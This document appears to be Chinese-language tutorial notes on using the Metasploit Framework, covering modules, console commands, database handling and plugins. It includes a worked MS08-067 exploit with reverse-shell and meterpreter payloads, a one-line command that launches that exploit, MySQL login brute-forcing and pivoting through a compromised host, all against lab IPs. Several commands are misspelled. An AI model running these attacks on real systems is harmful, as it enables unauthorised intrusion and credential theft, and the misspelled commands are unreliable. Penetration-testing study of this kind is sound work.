主目录:
/usr/share/metasploit-framework
基本模块介绍
exploit
攻击方法。
auxiliary
用于信息搜集、枚举、指纹探测、扫描等。
payloads
攻击载荷。
singles:体积大功能全的攻击载荷。
stagers:体积小,用于建立网络连接。
stages:用于stagers建立连接后,后续的攻击载荷。
encoders
对payloads进行加密,躲避AV。
nops
提高payloads的稳定性。
基本使用方法
启动
1.终端输入msfconsole
2.直接点击图标
安静启动(不显示banner、小提示等):
msfconsole -q
查看版本:
mefconsole -v
退出
exit
帮助
help [命令]
常用命令
# 与nc类似,可以使用connect -h查看帮助。
> connect
> # 查看模块提供工具
> show [模块名]
> # 返回
[漏洞模块下]> back
# 搜索[漏洞编号/工具/模块名]
> search ms08-067
# 使用某个漏洞(模块)
> use exploit/windows/smb/ms08_067_netapi
# 显示模块信息
[漏洞模块下]> info
# 显示使用模块的选项
[漏洞模块下]> show options
# 设置目标
[漏洞模块下]> set RHOSTS 192.168.172.130
# 查看漏洞适用的平台与版本
[漏洞模块下]> show target
# 如果知道其版本信息,最好手动设置(先运行show target)
[漏洞模块下]> set target 34
# 查看可利用payloads
[漏洞模块下]> show payloads
# 设置payloads
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp
# 查看还需要配置的选项
[漏洞模块下]> show missing
# 高级配置
[漏洞模块下]> show advanced
# 执行命令(-j 后台执行)
> run
# 保存配置信息
> save
# 查看已经建立连接的会话
> session
# 进入某个会话
> session -i 1
# 加载插件(openvas、nessus等,tab查看)
> load openvas
# 连接插件(openvas_[tab]查看所有命令)
> openvas_connect
# 卸载插件
> unload openvas
# 查看正在运行的任务
> jobs
# 关闭所有任务
> jobs -K
# 关闭指定任务,-k后接job id
> jobs -k 2
# 将已获得shell的主机设置为默认路由(假如已获得的主机为10.1.1.10,session id 为 3)
> route add 10.1.1.10 24 3
# 导入命令文件(以rc结尾,如conmand.rc,内容每行都为命令,如set RHOST ...)
> resource conmand.rc
# 或没启用msf的时候用
msfconsole -r conmand.rc
db_namap常用
# 使用nmap
> db_namp -sn 127.0.0.1
# 查看已经扫描过得主机信息
> hosts
# 只看up状态的主机
> hosts -u
# 只看哪几列信息
> hosts -c address os_name
# 搜索带有XP关键字的信息
> hosts -S XP
# 查看已经扫描过的端口信息,参数与hosts类似,可用services -h查看帮助
> services
# 搜索端口,
> services -p 445
msql密码破解:
# 搜索此模块
> search mysql_login
# 使用此模块
> use auxiliary/scanner/mysql/mysql_login
# 查看可配置选项
auxiliary(scanner/mysql/mysql_login) > show options
# 设置host(s)/192.168.172.131/24,取消设置为unset
#全局设置(凡是涉及到的此变量都设置)>(un)setg RHOST [IP]
auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.172.131
# 设置允许尝试空密码
auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS yes
# 也可以配置密码文件
# 运行
run
# 查看已破解信息
auxiliary(scanner/mysql/mysql_login) > creds
msfdb相关
# 备份
> db_export -f xml /root/Desktop/msf_db_back.xml
# 断开数据库连接
> db_disconnect
# 连接指定数据库,可使用db_connect -h 查看帮助
> db_connect -y /root/Desktopmsf_db_back.xml
# 导入nmap输出的xml文件(nmap -A 127.0.0.1 -oX /root/nmap.xml)
> db_import /root/nmap.xml
当msf数据库没启动的时候尝试:
msfdb start
# 或者
service postgresql start
msfdb start
# 或者,初始化
msfdb reinit
# 查看5432端口是否打开(msfdb端口)
netstat -pantu|grep 5432
# 启动msf
msfconsole -q
# 查看数据库状态
> db_status
命令行执行
方便脚本直接执行。
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;set rhost 192.168.172.130;set target 34;set payload windows/meterpreter/reverse_tcp;run"